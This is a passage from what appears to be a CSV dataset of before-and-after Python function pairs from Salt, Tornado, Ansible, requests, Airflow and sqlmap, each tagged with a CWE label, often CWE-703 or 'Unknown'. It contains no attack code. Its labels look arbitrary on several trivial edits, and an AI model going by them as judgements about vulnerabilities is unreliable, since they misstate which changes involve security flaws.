    # certain lxc commands need to be taken with care (lxc-start)
    # as te command itself mess with double forks; we must not
    # communicate with it, but just wait for the exit status
    pkwargs = {'python_shell': False,
               'redirect_stderr': True,
               'with_communicate': with_communicate,
               'use_vt': use_vt,
               'stdin': stdin,
               'stdout': stdout}
    for i in [a for a in pkwargs]:
        val = pkwargs[i]
        if val is _marker:
            pkwargs.pop(i, None)

    _cmdout = __salt__['cmd.run_all'](cmd, **pkwargs)

    if _cmdout['retcode'] != 0:
        raise CommandExecutionError(
            'Error changing state for container \'{0}\' using command '
            '\'{1}\': {2}'.format(name, cmd, _cmdout['stdout'])
        )
    if expected is not None:
        # some commands do not wait, so we will
        rcmd = 'lxc-wait'
        if path:
            rcmd += ' -P {0}'.format(pipes.quote(path))
        rcmd += ' -n {0} -s {1}'.format(name, expected.upper())
        __salt__['cmd.run'](rcmd, python_shell=False, timeout=30)
    _clear_context()
    post = state(name, path=path)
    ret = {'result': post == expected,
           'state': {'old': pre, 'new': post}}
    return ret",,saltstack/salt,95ef006e00662bf2b944222fffdd6beff03db673,"def _change_state(cmd,
                  name,
                  expected,
                  stdin=_marker,
                  stdout=_marker,
                  stderr=_marker,
                  with_communicate=_marker,
                  use_vt=_marker,
                  path=None):
    pre = state(name, path=path)
    if pre == expected:
        return {'result': True,
                'state': {'old': expected, 'new': expected},
                'comment': 'Container \'{0}\' already {1}'
                           .format(name, expected)}

    if cmd == 'lxc-destroy':
        # Kill the container first
        scmd = 'lxc-stop'
        if path:
            scmd += ' -P {0}'.format(pipes.quote(path))
        scmd += ' -k -n {0}'.format(name)
        __salt__['cmd.run'](scmd,
                            python_shell=False)

    if path and ' -P ' not in cmd:
        cmd += ' -P {0}'.format(pipes.quote(path))
    cmd += ' -n {0}'.format(name)

    # certain lxc commands need to be taken with care (lxc-start)
    # as te command itself mess with double forks; we must not
    # communicate with it, but just wait for the exit status
    pkwargs = {'python_shell': False,
               'with_communicate': with_communicate,
               'use_vt': use_vt,
               'stdin': stdin,
               'stdout': stdout,
               'stderr': stderr}
    for i in [a for a in pkwargs]:
        val = pkwargs[i]
        if val is _marker:
            pkwargs.pop(i, None)

    error = __salt__['cmd.run_stderr'](cmd, **pkwargs)

    if error:
        raise CommandExecutionError(
            'Error changing state for container \'{0}\' using command '
            '\'{1}\': {2}'.format(name, cmd, error)
        )
    if expected is not None:
        # some commands do not wait, so we will
        rcmd = 'lxc-wait'
        if path:
            rcmd += ' -P {0}'.format(pipes.quote(path))
        rcmd += ' -n {0} -s {1}'.format(name, expected.upper())
        __salt__['cmd.run'](rcmd, python_shell=False, timeout=30)
    _clear_context()
    post = state(name, path=path)
    ret = {'result': post == expected,
           'state': {'old': pre, 'new': post}}
    return ret"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/tcpclient.py,0,"def on_connect_done(self, addrs, af, addr, future):
        self.remaining -= 1
        try:
            stream = future.result()
        except Exception as e:
            if self.future.done():
                return
            # Error: try again (but remember what happened so we have an
            # error to raise in the end)
            self.last_error = e
            self.try_connect(addrs)
            if self.timeout is not None:
                # If the first attempt failed, don't wait for the
                # timeout to try an address from the secondary queue.
                self.io_loop.remove_timeout(self.timeout)
                self.on_timeout()
            return
        self.clear_timeout()
        if self.future.done():
            # This is a late arrival; just drop it.
            stream.close()
        else:
            self.future.set_result((af, addr, stream))",CWE-Unknown,tornadoweb/tornado,3a293354cebc0b28c6b709bf9202775f30242759,"def on_connect_done(self, addrs, af, addr, future):
        self.remaining -= 1
        try:
            stream = future.result()
        except Exception as e:
            if self.future.done():
                return
            # Error: try again (but remember what happened so we have an
            # error to raise in the end)
            self.last_error = e
            self.try_connect(addrs)
            if self.timeout is not None:
                # If the first attempt failed, don't wait for the
                # timeout to try an address from the secondary queue.
                self.on_timeout()
            return
        self.clear_timeout()
        if self.future.done():
            # This is a late arrival; just drop it.
            stream.close()
        else:
            self.future.set_result((af, addr, stream))"
,UNKNOWN,UNKNOWN,tests/pytests/integration/sdb/test_etcd_db.py,1,"def etc_docker_container(salt_call_cli, sdb_etcd_port):
    container_started = False
    try:
        ret = salt_call_cli.run(
            ""state.single"", ""docker_image.present"", name=""bitnami/etcd"", tag=""latest""
        )
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        ret = salt_call_cli.run(
            ""state.single"",
            ""docker_container.running"",
            name=""etcd"",
            image=""bitnami/etcd:latest"",
            port_bindings=""{}:2379"".format(sdb_etcd_port),
            environment={""ALLOW_NONE_AUTHENTICATION"": ""yes"", ""ETCD_ENABLE_V2"": ""true""},
            cap_add=""IPC_LOCK"",
        )
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        container_started = True

        # The following segment attempts to communicate with the container. If
        # we can't actually contact it, we're going to go ahead and skip this,
        # as it passes when running locally -- it's just some sort of
        # flakiness causing the failure.
        tries_left = 10
        while tries_left > 0:
            tries_left -= 1
            ret = salt_call_cli.run(
                ""sdb.set"", uri=""sdb://sdbetcd/secret/test/test_sdb/fnord"", value=""bar""
            )
            if ret.exitcode == 0:
                break
        else:
            pytest.skip(""Failed to get a useful etcd container"")
        yield
    finally:
        if container_started:
            ret = salt_call_cli.run(
                ""state.single"", ""docker_container.stopped"", name=""etcd""
            )
            assert ret.exitcode == 0
            assert ret.json
            state_run = next(iter(ret.json.values()))
            assert state_run[""result""] is True
            ret = salt_call_cli.run(
                ""state.single"", ""docker_container.absent"", name=""etcd""
            )
            assert ret.exitcode == 0
            assert ret.json
            state_run = next(iter(ret.json.values()))
            assert state_run[""result""] is True",CWE-703,saltstack/salt,19c055798cd3d469d7da226efd249f3f8b40f048,"def etc_docker_container(salt_call_cli, sdb_etcd_port):
    container_started = False
    try:
        ret = salt_call_cli.run(
            ""state.single"", ""docker_image.present"", name=""bitnami/etcd"", tag=""latest""
        )
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        ret = salt_call_cli.run(
            ""state.single"",
            ""docker_container.running"",
            name=""etcd"",
            image=""bitnami/etcd:latest"",
            port_bindings=""{}:2379"".format(sdb_etcd_port),
            environment={""ALLOW_NONE_AUTHENTICATION"": ""yes"", ""ETCD_ENABLE_V2"": ""true""},
            cap_add=""IPC_LOCK"",
        )
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        container_started = True
        yield
    finally:
        if container_started:
            ret = salt_call_cli.run(
                ""state.single"", ""docker_container.stopped"", name=""etcd""
            )
            assert ret.exitcode == 0
            assert ret.json
            state_run = next(iter(ret.json.values()))
            assert state_run[""result""] is True
            ret = salt_call_cli.run(
                ""state.single"", ""docker_container.absent"", name=""etcd""
            )
            assert ret.exitcode == 0
            assert ret.json
            state_run = next(iter(ret.json.values()))
            assert state_run[""result""] is True"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/sanity/pylint.py,0,"def pylint(
            args,  # type: SanityConfig
            context,  # type: str
            paths,  # type: t.List[str]
            plugin_dir,  # type: str
            plugin_names,  # type: t.List[str]
            python,  # type: str
    ):  # type: (...) -> t.List[t.Dict[str, str]]
        """"""Run pylint using the config specified by the context on the specified paths.""""""
        rcfile = os.path.join(SANITY_ROOT, 'pylint', 'config', context.split('/')[0] + '.cfg')

        if not os.path.exists(rcfile):
            if data_context().content.collection:
                rcfile = os.path.join(SANITY_ROOT, 'pylint', 'config', 'collection.cfg')
            else:
                rcfile = os.path.join(SANITY_ROOT, 'pylint', 'config', 'default.cfg')

        parser = ConfigParser()
        parser.read(rcfile)

        if parser.has_section('ansible-test'):
            config = dict(parser.items('ansible-test'))
        else:
            config = dict()

        disable_plugins = set(i.strip() for i in config.get('disable-plugins', '').split(',') if i)
        load_plugins = set(plugin_names) - disable_plugins

        cmd = [
            python,
            '-m', 'pylint',
            '--jobs', '0',
            '--reports', 'n',
            '--max-line-length', '160',
            '--rcfile', rcfile,
            '--output-format', 'json',
            '--load-plugins', ','.join(load_plugins),
        ] + paths

        append_python_path = [plugin_dir]

        if data_context().content.collection:
            append_python_path.append(data_context().content.collection.root)

        env = ansible_environment(args)
        env['PYTHONPATH'] += os.path.pathsep + os.path.pathsep.join(append_python_path)

        # expose plugin paths for use in custom plugins
        env.update(dict(('ANSIBLE_TEST_%s_PATH' % k.upper(), os.path.abspath(v) + os.path.sep) for k, v in data_context().content.plugin_paths.items()))

        if paths:
            display.info('Checking %d file(s) in context ""%s"" with config: %s' % (len(paths), context, rcfile), verbosity=1)

            try:
                stdout, stderr = run_command(args, cmd, env=env, capture=True)
                status = 0
            except SubprocessError as ex:
                stdout = ex.stdout
                stderr = ex.stderr
                status = ex.status

            if stderr or status >= 32:
                raise SubprocessError(cmd=cmd, status=status, stderr=stderr, stdout=stdout)
        else:
            stdout = None

        if not args.explain and stdout:
            messages = json.loads(stdout)
        else:
            messages = []

        return messages",,ansible/ansible,fb69d688216ddcc77c52e32b1f05b68d634f0db1,"def pylint(
            args,  # type: SanityConfig
            context,  # type: str
            paths,  # type: t.List[str]
            plugin_dir,  # type: str
            plugin_names,  # type: t.List[str]
            python,  # type: str
    ):  # type: (...) -> t.List[t.Dict[str, str]]
        """"""Run pylint using the config specified by the context on the specified paths.""""""
        rcfile = os.path.join(SANITY_ROOT, 'pylint', 'config', context.split('/')[0] + '.cfg')

        if not os.path.exists(rcfile):
            if data_context().content.collection:
                rcfile = os.path.join(SANITY_ROOT, 'pylint', 'config', 'collection.cfg')
            else:
                rcfile = os.path.join(SANITY_ROOT, 'pylint', 'config', 'default.cfg')

        parser = ConfigParser()
        parser.read(rcfile)

        if parser.has_section('ansible-test'):
            config = dict(parser.items('ansible-test'))
        else:
            config = dict()

        disable_plugins = set(i.strip() for i in config.get('disable-plugins', '').split(',') if i)
        load_plugins = set(plugin_names) - disable_plugins

        cmd = [
            python,
            '-m', 'pylint',
            '--jobs', '0',
            '--reports', 'n',
            '--max-line-length', '160',
            '--rcfile', rcfile,
            '--output-format', 'json',
            '--load-plugins', ','.join(load_plugins),
        ] + paths

        append_python_path = [plugin_dir]

        if data_context().content.collection:
            append_python_path.append(data_context().content.collection.root)

        env = ansible_environment(args)
        env['PYTHONPATH'] += os.path.pathsep + os.path.pathsep.join(append_python_path)

        if paths:
            display.info('Checking %d file(s) in context ""%s"" with config: %s' % (len(paths), context, rcfile), verbosity=1)

            try:
                stdout, stderr = run_command(args, cmd, env=env, capture=True)
                status = 0
            except SubprocessError as ex:
                stdout = ex.stdout
                stderr = ex.stderr
                status = ex.status

            if stderr or status >= 32:
                raise SubprocessError(cmd=cmd, status=status, stderr=stderr, stdout=stdout)
        else:
            stdout = None

        if not args.explain and stdout:
            messages = json.loads(stdout)
        else:
            messages = []

        return messages"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/fileserver/roots.py,0,"def update():
    '''
    When we are asked to update (regular interval) lets reap the cache
    '''
    try:
        salt.fileserver.reap_fileserver_cache_dir(
            os.path.join(__opts__['cachedir'], 'roots/hash'),
            find_file
        )
    except (IOError, OSError):
        # Hash file won't exist if no files have yet been served up
        pass

    mtime_map_path = os.path.join(__opts__['cachedir'], 'roots/mtime_map')
    # data to send on event
    data = {'changed': False,
            'files': {'changed': []},
            'backend': 'roots'}

    # generate the new map
    new_mtime_map = salt.fileserver.generate_mtime_map(__opts__['file_roots'])

    old_mtime_map = {}
    # if you have an old map, load that
    if os.path.exists(mtime_map_path):
        with salt.utils.fopen(mtime_map_path, 'r') as fp_:
            for line in fp_:
                try:
                    file_path, mtime = line.replace('\n', '').split(':', 1)
                    old_mtime_map[file_path] = mtime
                    if mtime != str(new_mtime_map.get(file_path, mtime)):
                        data['files']['changed'].append(file_path)
                except ValueError:
                    # Document the invalid entry in the log
                    log.warning('Skipped invalid cache mtime entry in {0}: {1}'
                                .format(mtime_map_path, line))

    # compare the maps, set changed to the return value
    data['changed'] = salt.fileserver.diff_mtime_map(old_mtime_map, new_mtime_map)

    # compute files that were removed and added
    old_files = set(old_mtime_map.keys())
    new_files = set(new_mtime_map.keys())
    data['files']['removed'] = list(old_files - new_files)
    data['files']['added'] = list(new_files - old_files)

    # write out the new map
    mtime_map_path_dir = os.path.dirname(mtime_map_path)
    if not os.path.exists(mtime_map_path_dir):
        os.makedirs(mtime_map_path_dir)
    with salt.utils.fopen(mtime_map_path, 'w') as fp_:
        for file_path, mtime in six.iteritems(new_mtime_map):
            fp_.write('{file_path}:{mtime}\n'.format(file_path=file_path,
                                                     mtime=mtime))

    if __opts__.get('fileserver_events', False):
        # if there is a change, fire an event
        event = salt.utils.event.get_event(
                'master',
                __opts__['sock_dir'],
                __opts__['transport'],
                opts=__opts__,
                listen=False)
        event.fire_event(data, tagify(['roots', 'update'], prefix='fileserver'))",,saltstack/salt,0f4d7b3bbf7e12b5ea002923f0883fc6322037f2,"def update():
    '''
    When we are asked to update (regular interval) lets reap the cache
    '''
    try:
        salt.fileserver.reap_fileserver_cache_dir(
            os.path.join(__opts__['cachedir'], 'roots/hash'),
            find_file
        )
    except (IOError, OSError):
        # Hash file won't exist if no files have yet been served up
        pass

    mtime_map_path = os.path.join(__opts__['cachedir'], 'roots/mtime_map')
    # data to send on event
    data = {'changed': False,
            'files': {'changed': []},
            'backend': 'roots'}

    # generate the new map
    new_mtime_map = salt.fileserver.generate_mtime_map(__opts__['file_roots'])

    old_mtime_map = {}
    # if you have an old map, load that
    if os.path.exists(mtime_map_path):
        with salt.utils.fopen(mtime_map_path, 'r') as fp_:
            for line in fp_:
                try:
                    file_path, mtime = line.replace('\n', '').split(':', 1)
                    old_mtime_map[file_path] = mtime
                    if(mtime != str(new_mtime_map.get(file_path, mtime))):
                        data['files']['changed'].append(file_path)
                except ValueError:
                    # Document the invalid entry in the log
                    log.warning('Skipped invalid cache mtime entry in {0}: {1}'
                                .format(mtime_map_path, line))

    # compare the maps, set changed to the return value
    data['changed'] = salt.fileserver.diff_mtime_map(old_mtime_map, new_mtime_map)

    # compute files that were removed and added
    old_files = set(old_mtime_map.keys())
    new_files = set(new_mtime_map.keys())
    data['files']['removed'] = list(old_files - new_files)
    data['files']['added'] = list(new_files - old_files)

    # write out the new map
    mtime_map_path_dir = os.path.dirname(mtime_map_path)
    if not os.path.exists(mtime_map_path_dir):
        os.makedirs(mtime_map_path_dir)
    with salt.utils.fopen(mtime_map_path, 'w') as fp_:
        for file_path, mtime in six.iteritems(new_mtime_map):
            fp_.write('{file_path}:{mtime}\n'.format(file_path=file_path,
                                                     mtime=mtime))

    if __opts__.get('fileserver_events', False):
        # if there is a change, fire an event
        event = salt.utils.event.get_event(
                'master',
                __opts__['sock_dir'],
                __opts__['transport'],
                opts=__opts__,
                listen=False)
        event.fire_event(data, tagify(['roots', 'update'], prefix='fileserver'))"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/execution_api/test_app.py,1,"def test_custom_openapi_includes_extra_schemas(client):
    """"""Test to ensure that extra schemas are correctly included in the OpenAPI schema.""""""
    response = client.get(""/execution/openapi.json?version=2025-04-11"")
    assert response.status_code == 200

    openapi_schema = response.json()

    assert ""TaskInstance"" in openapi_schema[""components""][""schemas""]
    schema = openapi_schema[""components""][""schemas""][""TaskInstance""]

    assert schema[""properties""].keys() == TaskInstance.model_json_schema()[""properties""].keys()",CWE-703,apache/airflow,b4368fa4557a0d383e5c44e6d541ae69d2289028,"def test_custom_openapi_includes_extra_schemas(client):
    """"""Test to ensure that extra schemas are correctly included in the OpenAPI schema.""""""
    response = client.get(""/execution/openapi.json?version=2025-04-11"")
    assert response.status_code == 200

    openapi_schema = response.json()

    assert ""TaskInstance"" in openapi_schema[""components""][""schemas""]
    schema = openapi_schema[""components""][""schemas""][""TaskInstance""]

    assert schema == TaskInstance.model_json_schema()"
,UNKNOWN,UNKNOWN,tests/pytests/unit/grains/test_core.py,1,"def test_parse_etc_os_release(os_release_dir):
    with patch(""os.path.isfile"", return_value=""/usr/lib/os-release""):
        os_release_content = os_release_dir.joinpath(""ubuntu-17.10"").read_text()
    with patch(""salt.utils.files.fopen"", mock_open(read_data=os_release_content)):
        os_release = core._parse_os_release(""/etc/os-release"", ""/usr/lib/os-release"")
    assert os_release == {
        ""NAME"": ""Ubuntu"",
        ""VERSION"": ""17.10 (Artful Aardvark)"",
        ""ID"": ""ubuntu"",
        ""ID_LIKE"": ""debian"",
        ""PRETTY_NAME"": ""Ubuntu 17.10"",
        ""VERSION_ID"": ""17.10"",
        ""HOME_URL"": ""https://www.ubuntu.com/"",
        ""SUPPORT_URL"": ""https://help.ubuntu.com/"",
        ""BUG_REPORT_URL"": ""https://bugs.launchpad.net/ubuntu/"",
        ""PRIVACY_POLICY_URL"": ""https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"",
        ""VERSION_CODENAME"": ""artful"",
        ""UBUNTU_CODENAME"": ""artful"",
    }",CWE-703,saltstack/salt,b58ada5996f7683dc2a577c1c96d202ab0a2183a,"def test_parse_etc_os_release(os_release_dir):
    with patch(""os.path.isfile"", return_value=""/usr/lib/os-release""):
        os_release_content = os_release_dir.joinpath(""ubuntu-17.10"").read_text()
    with patch(""salt.utils.files.fopen"", mock_open(read_data=os_release_content)):
        os_release = core._parse_os_release(""/etc/os-release"", ""/usr/lib/os-release"")
    assert os_release == {
        ""NAME"": ""Ubuntu"",
        ""VERSION"": ""17.10 (Artful Aardvark)"",
        ""ID"": ""ubuntu"",
        ""ID_LIKE"": ""debian"",
        ""PRETTY_NAME"": ""Ubuntu 17.10"",
        ""VERSION_ID"": ""17.10"",
        ""HOME_URL"": ""https://www.ubuntu.com/"",
        ""SUPPORT_URL"": ""https://help.ubuntu.com/"",
        ""BUG_REPORT_URL"": ""https://bugs.launchpad.net/ubuntu/"",
        ""PRIVACY_POLICY_URL"": ""https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"",
        ""VERSION_CODENAME"": ""artful"",
        ""UBUNTU_CODENAME"": ""artful"",
    }"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_data.py,1,"def test_load():
    """"""
    Test if it return all of the data in the minion datastore
    """"""
    mocked_fopen = MagicMock(return_value=True)
    mocked_fopen.__enter__ = MagicMock(return_value=mocked_fopen)
    mocked_fopen.__exit__ = MagicMock()
    with patch(""salt.utils.files.fopen"", MagicMock(return_value=mocked_fopen)):
        with patch(""salt.payload.loads"", MagicMock(return_value=True)):
            with patch.dict(data.__opts__, {""cachedir"": ""/""}):
                assert data.load()",CWE-703,saltstack/salt,ab26cf9accde93a57cd11e06c8bdc02d3214793b,"def test_load():
    """"""
    Test if it return all of the data in the minion datastore
    """"""
    with patch(""salt.payload.Serial.load"", MagicMock(return_value=True)):
        mocked_fopen = MagicMock(return_value=True)
        mocked_fopen.__enter__ = MagicMock(return_value=mocked_fopen)
        mocked_fopen.__exit__ = MagicMock()
        with patch(""salt.utils.files.fopen"", MagicMock(return_value=mocked_fopen)):
            with patch(""salt.payload.loads"", MagicMock(return_value=True)):
                with patch.dict(data.__opts__, {""cachedir"": ""/""}):
                    assert data.load()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/__init__.py,0,"def _do_handler_run(self, handler, handler_name, iterator, play_context, notified_hosts=None):

        # FIXME: need to use iterator.get_failed_hosts() instead?
        #if not len(self.get_hosts_remaining(iterator._play)):
        #    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
        #    result = False
        #    break
        saved_name = handler.name
        handler.name = handler_name
        self._tqm.send_callback('v2_playbook_on_handler_task_start', handler)
        handler.name = saved_name

        if notified_hosts is None:
            notified_hosts = self._notified_handlers[handler]

        run_once = False
        try:
            action = action_loader.get(handler.action, class_only=True)
            if handler.run_once or getattr(action, 'BYPASS_HOST_LOOP', False):
                run_once = True
        except KeyError:
            # we don't care here, because the action may simply not have a
            # corresponding action plugin
            pass

        host_results = []
        for host in notified_hosts:
            if not handler.has_triggered(host) and (not iterator.is_failed(host) or play_context.force_handlers):
                task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=handler)
                self.add_tqm_variables(task_vars, play=iterator._play)
                self._queue_task(host, handler, task_vars, play_context)
                if run_once:
                    break

        # collect the results from the handler run
        host_results = self._wait_on_pending_results(iterator)

        try:
            included_files = IncludedFile.process_include_results(
                host_results,
                self._tqm,
                iterator=iterator,
                inventory=self._inventory,
                loader=self._loader,
                variable_manager=self._variable_manager
            )
        except AnsibleError as e:
            return False

        result = True
        if len(included_files) > 0:
            for included_file in included_files:
                try:
                    new_blocks = self._load_included_file(included_file, iterator=iterator, is_handler=True)
                    # for every task in each block brought in by the include, add the list
                    # of hosts which included the file to the notified_handlers dict
                    for block in new_blocks:
                        iterator._play.handlers.append(block)
                        iterator.cache_block_tasks(block)
                        for task in block.block:
                            result = self._do_handler_run(
                                handler=task,
                                handler_name=None,
                                iterator=iterator,
                                play_context=play_context,
                                notified_hosts=included_file._hosts[:],
                            )
                            if not result:
                                break
                except AnsibleError as e:
                    for host in included_file._hosts:
                        iterator.mark_host_failed(host)
                        self._tqm._failed_hosts[host.name] = True
                    display.warning(str(e))
                    continue

        # wipe the notification list
        self._notified_handlers[handler] = []
        display.debug(""done running handlers, result is: %s"" % result)
        return result",,ansible/ansible,529adb574a89a480db9dbc1f83a9e3ebafc576e3,"def _do_handler_run(self, handler, handler_name, iterator, play_context, notified_hosts=None):

        # FIXME: need to use iterator.get_failed_hosts() instead?
        #if not len(self.get_hosts_remaining(iterator._play)):
        #    self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
        #    result = False
        #    break
        saved_name = handler.name
        handler.name = handler_name
        self._tqm.send_callback('v2_playbook_on_handler_task_start', handler)
        handler.name = saved_name

        if notified_hosts is None:
            notified_hosts = self._notified_handlers[handler]

        run_once = False
        try:
            action = action_loader.get(handler.action, class_only=True)
            if handler.run_once or getattr(action, 'BYPASS_HOST_LOOP', False):
                run_once = True
        except KeyError:
            # we don't care here, because the action may simply not have a
            # corresponding action plugin
            pass

        host_results = []
        for host in notified_hosts:
            if not handler.has_triggered(host) and (not iterator.is_failed(host) or play_context.force_handlers):
                task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=handler)
                self.add_tqm_variables(task_vars, play=iterator._play)
                self._queue_task(host, handler, task_vars, play_context)
                if run_once:
                    break

        # collect the results from the handler run
        host_results = self._wait_on_pending_results(iterator)

        try:
            included_files = IncludedFile.process_include_results(
                host_results,
                self._tqm,
                iterator=iterator,
                inventory=self._inventory,
                loader=self._loader,
                variable_manager=self._variable_manager
            )
        except AnsibleError as e:
            return False

        result = True
        if len(included_files) > 0:
            for included_file in included_files:
                try:
                    new_blocks = self._load_included_file(included_file, iterator=iterator, is_handler=True)
                    # for every task in each block brought in by the include, add the list
                    # of hosts which included the file to the notified_handlers dict
                    for block in new_blocks:
                        iterator._play.handlers.append(block)
                        for task in block.block:
                            result = self._do_handler_run(
                                handler=task,
                                handler_name=None,
                                iterator=iterator,
                                play_context=play_context,
                                notified_hosts=included_file._hosts[:],
                            )
                            if not result:
                                break
                except AnsibleError as e:
                    for host in included_file._hosts:
                        iterator.mark_host_failed(host)
                        self._tqm._failed_hosts[host.name] = True
                    display.warning(str(e))
                    continue

        # wipe the notification list
        self._notified_handlers[handler] = []
        display.debug(""done running handlers, result is: %s"" % result)
        return result"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/models.py,0,"def prepare_url(self, url, params):
        """"""Prepares the given HTTP URL.""""""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/psf/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode(""utf8"")
        else:
            url = str(url)

        # Remove leading whitespaces from url
        url = url.lstrip()

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data` etc to work around exceptions from `url_parse`, which
        # handles RFC 3986 only.
        if "":"" in url and not url.lower().startswith(""http""):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            raise MissingSchema(
                f""Invalid URL {url!r}: No scheme supplied. ""
                f""Perhaps you meant https://{url}?""
            )

        if not host:
            raise InvalidURL(f""Invalid URL {url!r}: No host supplied"")

        # In general, we want to try IDNA encoding the hostname if the string contains
        # non-ASCII characters. This allows users to automatically get the correct IDNA
        # behaviour. For strings containing only ASCII characters, we need to also verify
        # it doesn't start with a wildcard (*), before allowing the unencoded hostname.
        if not unicode_is_ascii(host):
            try:
                host = self._get_idna_encoded_host(host)
            except UnicodeError:
                raise InvalidURL(""URL has an invalid label."")
        elif host.startswith((""*"", ""."")):
            raise InvalidURL(""URL has an invalid label."")

        # Carefully reconstruct the network location
        netloc = auth or """"
        if netloc:
            netloc += ""@""
        netloc += host
        if port:
            netloc += f"":{port}""

        # Bare domains aren't valid URLs.
        if not path:
            path = ""/""

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = f""{query}&{enc_params}""
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url",,psf/requests,bda7f0171f8bba17989d3a2c28dfa9a9261b1b65,"def prepare_url(self, url, params):
        """"""Prepares the given HTTP URL.""""""
        #: Accept objects that have string representations.
        #: We're unable to blindly call unicode/str functions
        #: as this will include the bytestring indicator (b'')
        #: on python 3.x.
        #: https://github.com/psf/requests/pull/2238
        if isinstance(url, bytes):
            url = url.decode(""utf8"")
        else:
            url = str(url)

        # Remove leading whitespaces from url
        url = url.lstrip()

        # Don't do any URL preparation for non-HTTP schemes like `mailto`,
        # `data` etc to work around exceptions from `url_parse`, which
        # handles RFC 3986 only.
        if "":"" in url and not url.lower().startswith(""http""):
            self.url = url
            return

        # Support for unicode domain names and paths.
        try:
            scheme, auth, host, port, path, query, fragment = parse_url(url)
        except LocationParseError as e:
            raise InvalidURL(*e.args)

        if not scheme:
            raise MissingSchema(
                f""Invalid URL {url!r}: No scheme supplied. ""
                f""Perhaps you meant http://{url}?""
            )

        if not host:
            raise InvalidURL(f""Invalid URL {url!r}: No host supplied"")

        # In general, we want to try IDNA encoding the hostname if the string contains
        # non-ASCII characters. This allows users to automatically get the correct IDNA
        # behaviour. For strings containing only ASCII characters, we need to also verify
        # it doesn't start with a wildcard (*), before allowing the unencoded hostname.
        if not unicode_is_ascii(host):
            try:
                host = self._get_idna_encoded_host(host)
            except UnicodeError:
                raise InvalidURL(""URL has an invalid label."")
        elif host.startswith((""*"", ""."")):
            raise InvalidURL(""URL has an invalid label."")

        # Carefully reconstruct the network location
        netloc = auth or """"
        if netloc:
            netloc += ""@""
        netloc += host
        if port:
            netloc += f"":{port}""

        # Bare domains aren't valid URLs.
        if not path:
            path = ""/""

        if isinstance(params, (str, bytes)):
            params = to_native_string(params)

        enc_params = self._encode_params(params)
        if enc_params:
            if query:
                query = f""{query}&{enc_params}""
            else:
                query = enc_params

        url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))
        self.url = url"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        paths.SQLMAP_ROOT_PATH = modulePath()

        try:
            os.path.isdir(paths.SQLMAP_ROOT_PATH)
        except UnicodeEncodeError:
            errMsg = ""your system does not properly handle non-ASCII paths. ""
            errMsg += ""Please move the sqlmap's directory to the other location""
            logger.error(errMsg)
            raise SystemExit

        setPaths()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if hasattr(conf, ""api""):
            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        banner()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if conf.profile:
            profile()
        elif conf.smokeTest:
            smokeTest()
        elif conf.liveTest:
            liveTest()
        else:
            try:
                start()
            except thread.error as ex:
                if ""can't start new thread"" in getSafeExString(ex):
                    errMsg = ""unable to start new threads. Please check OS (u)limits""
                    logger.critical(errMsg)
                    raise SystemExit
                else:
                    raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()

        try:
            if any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
